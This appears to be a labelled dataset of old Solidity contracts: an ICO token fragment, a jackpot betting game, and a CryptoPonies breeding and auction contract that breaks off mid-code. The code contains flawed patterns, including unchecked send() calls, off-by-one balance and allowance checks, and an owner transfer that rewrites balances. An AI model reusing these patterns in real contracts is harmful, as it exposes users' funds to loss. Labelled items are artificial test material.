remaining = remaining - finalTokens;
_transfer(owner,rec_address, finalTokens);
TransferSell(owner, rec_address, finalTokens,'Offline');
}
else
{
throw;
}
}
else
{
throw;
}
}
function getEthRate() onlyOwner constant returns (uint)
{
return ethRate;
}
function setEthRate (uint newEthRate) onlyOwner
{
ethRate = newEthRate;
}
function getTokenPrice() onlyOwner constant returns (uint8)
{
return icoTokenPrice;
}
function setTokenPrice (uint8 newTokenRate) onlyOwner
{
icoTokenPrice = newTokenRate;
}
function changeIcoStatus (uint8 statx) onlyOwner
{
icoStatus = statx;
}
function withdraw(uint amountWith) onlyOwner
{
if(msg.sender == owner)
{
if(amountWith > 0)
{
amountWith = (amountWith * 10 ** 18);
benAddress.send(amountWith);
}
}
else
{
throw;
}
}
function withdraw_all() onlyOwner
{
if(msg.sender == owner)
{
benAddress.send(this.balance);
}
else
{
throw;
}
}
function mintToken(uint256 tokensToMint) onlyOwner
{
var totalTokenToMint = tokensToMint * (10 ** 18);
balanceOf[owner] += totalTokenToMint;
totalSupply += totalTokenToMint;
Transfer(0, owner, totalTokenToMint);
}
function freezeAccount(address target, bool freeze) onlyOwner
{
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function getCollectedAmount() constant returns (uint256 balance)
{
return amountCollected;
}
function balanceOf(address _owner) constant returns (uint256 balance)
{
return balanceOf[_owner];
}
function totalSupply() constant returns (uint256 tsupply)
{
tsupply = totalSupply;
}
function transferOwnership(address newOwner) onlyOwner
{
balanceOf[owner] = 0;
balanceOf[newOwner] = remaining;
owner = newOwner;
}
function _transfer(address _from, address _to, uint _value) internal
{
require(!frozenAccount[_from]);
require (_to != 0x0);
require (balanceOf[_from] > _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value)
{
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success)
{
require (_value < allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success)
{
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) returns (bool success)
{
require (balanceOf[msg.sender] > _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool success)
{
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 0 | 204 |
pragma solidity 0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract JackpotAccessControl is Claimable, Pausable, CanReclaimToken {
address public cfoAddress;
function JackpotAccessControl() public {
cfoAddress = msg.sender;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
function setCFO(address _newCFO) external onlyOwner {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
}
contract JackpotBase is JackpotAccessControl {
using SafeMath for uint256;
bool public gameStarted;
address public gameStarter;
address public lastPlayer;
address public player2;
address public player3;
address public player4;
address public player5;
uint256 public lastWagerTimeoutTimestamp;
uint256 public player2Timestamp;
uint256 public player3Timestamp;
uint256 public player4Timestamp;
uint256 public player5Timestamp;
uint256 public timeout;
uint256 public nextTimeout;
uint256 public minimumTimeout;
uint256 public nextMinimumTimeout;
uint256 public numberOfWagersToMinimumTimeout;
uint256 public nextNumberOfWagersToMinimumTimeout;
uint256 currentTimeout;
uint256 public wagerIndex = 0;
uint256 public currentBalance;
function calculateTimeout() public view returns(uint256) {
if (wagerIndex >= numberOfWagersToMinimumTimeout || numberOfWagersToMinimumTimeout == 0) {
return minimumTimeout;
} else {
uint256 difference = timeout - minimumTimeout;
uint256 decrease = difference.mul(wagerIndex).div(numberOfWagersToMinimumTimeout);
return (timeout - decrease);
}
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract JackpotFinance is JackpotBase, PullPayment {
uint256 public feePercentage = 2500;
uint256 public gameStarterDividendPercentage = 2500;
uint256 public price;
uint256 public nextPrice;
uint256 public prizePool;
uint256 public wagerPool5;
uint256 public wagerPool13;
function setGameStarterDividendPercentage(uint256 _gameStarterDividendPercentage) external onlyCFO {
require(_gameStarterDividendPercentage <= 4000);
gameStarterDividendPercentage = _gameStarterDividendPercentage;
}
function _sendFunds(address beneficiary, uint256 amount) internal {
if (!beneficiary.send(amount)) {
asyncSend(beneficiary, amount);
}
}
function withdrawFreeBalance() external onlyCFO {
uint256 freeBalance = this.balance.sub(totalPayments).sub(prizePool).sub(wagerPool5).sub(wagerPool13);
cfoAddress.transfer(freeBalance);
currentBalance = this.balance;
}
}
contract JackpotCore is JackpotFinance {
function JackpotCore(uint256 _price, uint256 _timeout, uint256 _minimumTimeout, uint256 _numberOfWagersToMinimumTimeout) public {
require(_timeout >= _minimumTimeout);
nextPrice = _price;
nextTimeout = _timeout;
nextMinimumTimeout = _minimumTimeout;
nextNumberOfWagersToMinimumTimeout = _numberOfWagersToMinimumTimeout;
}
event Start(address indexed starter, uint256 timestamp, uint256 price, uint256 timeout, uint256 minimumTimeout, uint256 numberOfWagersToMinimumTimeout);
event End(address indexed winner, uint256 timestamp, uint256 prize);
event Bet(address player, uint256 timestamp, uint256 timeoutTimestamp, uint256 wagerIndex, uint256 newPrizePool);
event TopUpPrizePool(address indexed donater, uint256 ethAdded, string message, uint256 newPrizePool);
function bet(bool startNewGameIfIdle) external payable {
require(msg.value >= price);
_processGameEnd();
if (!gameStarted) {
require(!paused);
require(startNewGameIfIdle);
price = nextPrice;
timeout = nextTimeout;
minimumTimeout = nextMinimumTimeout;
numberOfWagersToMinimumTimeout = nextNumberOfWagersToMinimumTimeout;
gameStarted = true;
gameStarter = msg.sender;
Start(msg.sender, now, price, timeout, minimumTimeout, numberOfWagersToMinimumTimeout);
}
uint256 fee = price.mul(feePercentage).div(100000);
uint256 dividend = price.mul(gameStarterDividendPercentage).div(100000);
uint256 wagerPool5Part;
uint256 wagerPool13Part;
wagerPool5Part = price.mul(2).div(10);
wagerPool13Part = price.mul(3).div(26);
wagerPool5 = wagerPool5.add(wagerPool5Part);
wagerPool13 = wagerPool13.add(wagerPool13Part);
prizePool = prizePool.add(price);
prizePool = prizePool.sub(fee);
prizePool = prizePool.sub(dividend);
prizePool = prizePool.sub(wagerPool5Part);
prizePool = prizePool.sub(wagerPool13Part);
if (wagerIndex % 5 == 4) {
uint256 wagerPrize5 = price.mul(2);
uint256 difference5 = wagerPrize5.sub(wagerPool5);
prizePool = prizePool.sub(difference5);
msg.sender.transfer(wagerPrize5);
wagerPool5 = 0;
}
if (wagerIndex % 13 == 12) {
uint256 wagerPrize13 = price.mul(3);
uint256 difference13 = wagerPrize13.sub(wagerPool13);
prizePool = prizePool.sub(difference13);
msg.sender.transfer(wagerPrize13);
wagerPool13 = 0;
}
player5 = player4;
player4 = player3;
player3 = player2;
player2 = lastPlayer;
player5Timestamp = player4Timestamp;
player4Timestamp = player3Timestamp;
player3Timestamp = player2Timestamp;
if (lastWagerTimeoutTimestamp > currentTimeout) {
player2Timestamp = lastWagerTimeoutTimestamp.sub(currentTimeout);
}
currentTimeout = calculateTimeout();
lastPlayer = msg.sender;
lastWagerTimeoutTimestamp = now + currentTimeout;
wagerIndex = wagerIndex.add(1);
Bet(msg.sender, now, lastWagerTimeoutTimestamp, wagerIndex, prizePool);
_sendFunds(gameStarter, dividend);
uint256 excess = msg.value - price;
if (excess > 0) {
msg.sender.transfer(excess);
}
currentBalance = this.balance;
}
function topUp(string message) external payable {
require(gameStarted || !paused);
require(msg.value > 0);
prizePool = prizePool.add(msg.value);
TopUpPrizePool(msg.sender, msg.value, message, prizePool);
}
function setNextGame(uint256 _price, uint256 _timeout, uint256 _minimumTimeout, uint256 _numberOfWagersToMinimumTimeout) external onlyCFO {
require(_timeout >= _minimumTimeout);
nextPrice = _price;
nextTimeout = _timeout;
nextMinimumTimeout = _minimumTimeout;
nextNumberOfWagersToMinimumTimeout = _numberOfWagersToMinimumTimeout;
}
function endGame() external {
require(_processGameEnd());
}
function _processGameEnd() internal returns(bool) {
if (!gameStarted) {
return false;
}
if (now <= lastWagerTimeoutTimestamp) {
return false;
}
uint256 excessPool = wagerPool5.add(wagerPool13);
_sendFunds(lastPlayer, prizePool);
_sendFunds(cfoAddress, excessPool);
End(lastPlayer, lastWagerTimeoutTimestamp, prizePool);
gameStarted = false;
gameStarter = 0x0;
lastPlayer = 0x0;
player2 = 0x0;
player3 = 0x0;
player4 = 0x0;
player5 = 0x0;
lastWagerTimeoutTimestamp = 0;
player2Timestamp = 0;
player3Timestamp = 0;
player4Timestamp = 0;
player5Timestamp = 0;
wagerIndex = 0;
prizePool = 0;
wagerPool5 = 0;
wagerPool13 = 0;
currentBalance = this.balance;
return true;
}
} | 0 | 1,641 |
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract GeneScienceInterface {
function isGeneScience() public pure returns (bool);
function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256);
}
contract PonyAccessControl {
event ContractUpgrade(address newContract);
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract PonyBase is PonyAccessControl {
event Birth(address owner, uint256 PonyId, uint256 matronId, uint256 sireId, uint256 genes);
event Transfer(address from, address to, uint256 tokenId);
struct Pony {
uint256 genes;
uint64 birthTime;
uint64 cooldownEndBlock;
uint32 matronId;
uint32 sireId;
uint32 siringWithId;
uint16 cooldownIndex;
uint16 generation;
}
uint32[14] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(5 minutes),
uint32(10 minutes),
uint32(30 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days),
uint32(2 days),
uint32(4 days),
uint32(7 days)
];
uint256 public secondsPerBlock = 15;
Pony[] Poniesies;
mapping (uint256 => address) public PonyIndexToOwner;
mapping (address => uint256) ownershipTokenCount;
mapping (uint256 => address) public PonyIndexToApproved;
mapping (uint256 => address) public sireAllowedToAddress;
SaleClockAuction public saleAuction;
SiringClockAuction public siringAuction;
function _transfer(address _from, address _to, uint256 _tokenId) internal {
ownershipTokenCount[_to]++;
PonyIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete sireAllowedToAddress[_tokenId];
delete PonyIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
function _createPony(
uint256 _matronId,
uint256 _sireId,
uint256 _generation,
uint256 _genes,
address _owner
)
internal
returns (uint)
{
require(_matronId == uint256(uint32(_matronId)));
require(_sireId == uint256(uint32(_sireId)));
require(_generation == uint256(uint16(_generation)));
uint16 cooldownIndex = uint16(_generation / 2);
if (cooldownIndex > 13) {
cooldownIndex = 13;
}
Pony memory _Pony = Pony({
genes: _genes,
birthTime: uint64(now),
cooldownEndBlock: 0,
matronId: uint32(_matronId),
sireId: uint32(_sireId),
siringWithId: 0,
cooldownIndex: cooldownIndex,
generation: uint16(_generation)
});
uint256 newPonieId = Poniesies.push(_Pony) - 1;
require(newPonieId == uint256(uint32(newPonieId)));
Birth(
_owner,
newPonieId,
uint256(_Pony.matronId),
uint256(_Pony.sireId),
_Pony.genes
);
_transfer(0, _owner, newPonieId);
return newPonieId;
}
function setSecondsPerBlock(uint256 secs) external onlyCLevel {
require(secs < cooldowns[0]);
secondsPerBlock = secs;
}
}
contract ERC721Metadata {
function getMetadata(uint256 _tokenId, string) public view returns (bytes32[4] buffer, uint256 count) {
if (_tokenId == 1) {
buffer[0] = "Hello World! :D";
count = 15;
} else if (_tokenId == 2) {
buffer[0] = "I would definitely choose a medi";
buffer[1] = "um length string.";
count = 49;
} else if (_tokenId == 3) {
buffer[0] = "Lorem ipsum dolor sit amet, mi e";
buffer[1] = "st accumsan dapibus augue lorem,";
buffer[2] = " tristique vestibulum id, libero";
buffer[3] = " suscipit varius sapien aliquam.";
count = 128;
}
}
}
contract PonyOwnership is PonyBase, ERC721 {
string public constant name = "CryptoPonies";
string public constant symbol = "CPT1";
ERC721Metadata public erc721Metadata;
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
function setMetadataAddress(address _contractAddress) public onlyCEO {
erc721Metadata = ERC721Metadata(_contractAddress);
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return PonyIndexToOwner[_tokenId] == _claimant;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return PonyIndexToApproved[_tokenId] == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
PonyIndexToApproved[_tokenId] = _approved;
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_to != address(saleAuction));
require(_to != address(siringAuction));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function totalSupply() public view returns (uint) {
return Poniesies.length - 1;
}
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = PonyIndexToOwner[_tokenId];
require(owner != address(0));
}
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalponys = totalSupply();
uint256 resultIndex = 0;
uint256 ponyId;
for (ponyId = 1; ponyId <= totalponys; ponyId++) {
if (PonyIndexToOwner[ponyId] == _owner) {
result[resultIndex] = ponyId;
resultIndex++;
}
}
return result;
}
}
function _memcpy(uint _dest, uint _src, uint _len) private view {
for(; _len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
uint256 mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) {
var outputString = new string(_stringLength);
uint256 outputPtr;
uint256 bytesPtr;
assembly {
outputPtr := add(outputString, 32)
bytesPtr := _rawBytes
}
_memcpy(outputPtr, bytesPtr, _stringLength);
return outputString;
}
function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) {
require(erc721Metadata != address(0));
bytes32[4] memory buffer;
uint256 count;
(buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport);
return _toString(buffer, count);
}
}
contract PonyBreeding is PonyOwnership {
event Pregnant(address owner, uint256 matronId, uint256 sireId, uint256 cooldownEndBlock);
uint256 public autoBirthFee = 2 finney;
uint256 public pregnantPoniesies;
GeneScienceInterface public geneScience;
function setGeneScienceAddress(address _address) external onlyCEO {
GeneScienceInterface candidateContract = GeneScienceInterface(_address);
require(candidateContract.isGeneScience());
geneScience = candidateContract;
}
function _isReadyToBreed(Pony _pony) internal view returns (bool) {
return (_pony.siringWithId == 0) && (_pony.cooldownEndBlock <= uint64(block.number));
}
function _isSiringPermitted(uint256 _sireId, uint256 _matronId) internal view returns (bool) {
address matronOwner = PonyIndexToOwner[_matronId];
address sireOwner = PonyIndexToOwner[_sireId];
return (matronOwner == sireOwner || sireAllowedToAddress[_sireId] == matronOwner);
}
function _triggerCooldown(Pony storage _Ponie) internal {
_Ponie.cooldownEndBlock = uint64((cooldowns[_Ponie.cooldownIndex]/secondsPerBlock) + block.number);
if (_Ponie.cooldownIndex < 13) {
_Ponie.cooldownIndex += 1;
}
}
function approveSiring(address _addr, uint256 _sireId)
external
whenNotPaused
{
require(_owns(msg.sender, _sireId));
sireAllowedToAddress[_sireId] = _addr;
}
function setAutoBirthFee(uint256 val) external onlyCOO {
autoBirthFee = val;
}
function _isReadyToGiveBirth(Pony _matron) private view returns (bool) {
return (_matron.siringWithId != 0) && (_matron.cooldownEndBlock <= uint64(block.number));
}
function isReadyToBreed(uint256 _PonyId)
public
view
returns (bool)
{
require(_PonyId > 0);
Pony storage pony = Poniesies[_PonyId];
return _isReadyToBreed(pony);
}
function isPregnant(uint256 _PonyId)
public
view
returns (bool)
{
require(_PonyId > 0);
return Poniesies[_PonyId].siringWithId != 0;
}
function _isValidMatingPair(
Pony storage _matron,
uint256 _matronId,
Pony storage _sire,
uint256 _sireId
)
private
view
returns(bool)
{
if (_matronId == _sireId) {
return false;
}
if (_matron.matronId == _sireId || _matron.sireId == _sireId) {
return false;
}
if (_sire.matronId == _matronId || _sire.sireId == _matronId) {
return false;
}
if (_sire.matronId == 0 || _matron.matronId == 0) {
return true;
}
if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) {
return false;
}
if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) {
return false;
}
return true;
}
function _canBreedWithViaAuction(uint256 _matronId, uint256 _sireId)
internal
view
returns (bool)
{
Pony storage matron = Poniesies[_matronId];
Pony storage sire = Poniesies[_sireId];
return _isValidMatingPair(matron, _matronId, sire, _sireId);
}
function canBreedWith(uint256 _matronId, uint256 _sireId)
external
view
returns(bool)
{
require(_matronId > 0);
require(_sireId > 0);
Pony storage matron = Poniesies[_matronId];
Pony storage sire = Poniesies[_sireId];
return _isValidMatingPair(matron, _matronId, sire, _sireId) &&
_isSiringPermitted(_sireId, _matronId);
}
function _breedWith(uint256 _matronId, uint256 _sireId) internal {
Pony storage sire = Poniesies[_sireId];
Pony storage matron = Poniesies[_matronId];
matron.siringWithId = uint32(_sireId);
_triggerCooldown(sire);
_triggerCooldown(matron);
delete sireAllowedToAddress[_matronId];
delete sireAllowedToAddress[_sireId];
pregnantPoniesies++;
Pregnant(PonyIndexToOwner[_matronId], _matronId, _sireId, matron.cooldownEndBlock);
}
function breedWithAuto(uint256 _matronId, uint256 _sireId)
external
payable
whenNotPaused
{
require(msg.value >= autoBirthFee);
require(_owns(msg.sender, _matronId));
require(_isSiringPermitted(_sireId, _matronId));
Pony storage matron = Poniesies[_matronId];
require(_isReadyToBreed(matron));
Pony storage sire = Poniesies[_sireId];
require(_isReadyToBreed(sire));
require(_isValidMatingPair(
matron,
_matronId,
sire,
_sireId
));
_breedWith(_matronId, _sireId);
}
function giveBirth(uint256 _matronId)
external
whenNotPaused
returns(uint256)
{
Pony storage matron = Poniesies[_matronId];
require(matron.birthTime != 0);
require(_isReadyToGiveBirth(matron));
uint256 sireId = matron.siringWithId;
Pony storage sire = Poniesies[sireId];
uint16 parentGen = matron.generation;
if (sire.generation > matron.generation) {
parentGen = sire.generation;
}
uint256 childGenes = geneScience.mixGenes(matron.genes, sire.genes, matron.cooldownEndBlock - 1);
address owner = PonyIndexToOwner[_matronId];
uint256 PonieId = _createPony(_matronId, matron.siringWithId, parentGen + 1, childGenes, owner);
delete matron.siringWithId;
pregnantPoniesies--;
msg.sender.send(autoBirthFee);
return PonieId;
}
}
contract ClockAuctionBase {
struct Auction {
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
ERC721 public nonFungibleContract;
uint256 public ownerCut;
mapping (uint256 => Auction) tokenIdToAuction;
event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 tokenId);
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
function _escrow(address _owner, uint256 _tokenId) internal {
nonFungibleContract.transferFrom(_owner, this, _tokenId);
}
function _transfer(address _receiver, uint256 _tokenId) internal {
nonFungibleContract.transfer(_receiver, _tokenId);
}
function _addAuction(uint256 _tokenId, Auction _auction) internal {
require(_auction.duration >= 1 minutes);
tokenIdToAuction[_tokenId] = _auction;
AuctionCreated(
uint256(_tokenId),
uint256(_auction.startingPrice),
uint256(_auction.endingPrice),
uint256(_auction.duration)
);
}
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
AuctionCancelled(_tokenId);
}
function _bid(uint256 _tokenId, uint256 _bidAmount)
internal
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
uint256 price = _currentPrice(auction);
require(_bidAmount >= price);
address seller = auction.seller;
_removeAuction(_tokenId);
if (price > 0) {
uint256 auctioneerCut = _computeCut(price);
uint256 sellerProceeds = price - auctioneerCut;
seller.transfer(sellerProceeds);
}
uint256 bidExcess = _bidAmount - price;
msg.sender.transfer(bidExcess);
AuctionSuccessful(_tokenId, price, msg.sender);
return price;
}
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
function _currentPrice(Auction storage _auction)
internal
view
returns (uint256)
{
uint256 secondsPassed = 0;
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startingPrice,
_auction.endingPrice,
_auction.duration,
secondsPassed
);
}
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
if (_secondsPassed >= _duration) {
return _endingPrice;
} else {
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
function _computeCut(uint256 _price) internal view returns (uint256) {
return _price * ownerCut / 10000;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ClockAuction is Pausable, ClockAuctionBase {
bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d);
function ClockAuction(address _nftAddress, uint256 _cut) public {
require(_cut <= 10000);
ownerCut = _cut;
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_ERC721));
nonFungibleContract = candidateContract;
}
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == owner ||
msg.sender == nftAddress
);
bool res = nftAddress.send(this.balance);
}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
whenNotPaused
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(_owns(msg.sender, _tokenId));
_escrow(msg.sender, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId)
external
payable
whenNotPaused
{
_bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
}
function cancelAuction(uint256 _tokenId)
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
function cancelAuctionWhenPaused(uint256 _tokenId)
whenPaused
onlyOwner
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
}
contract SiringClockAuction is ClockAuction {
bool public isSiringClockAuction = true;
function SiringClockAuction(address _nftAddr, uint256 _cut) public
ClockAuction(_nftAddr, _cut) {}
function createAuction(
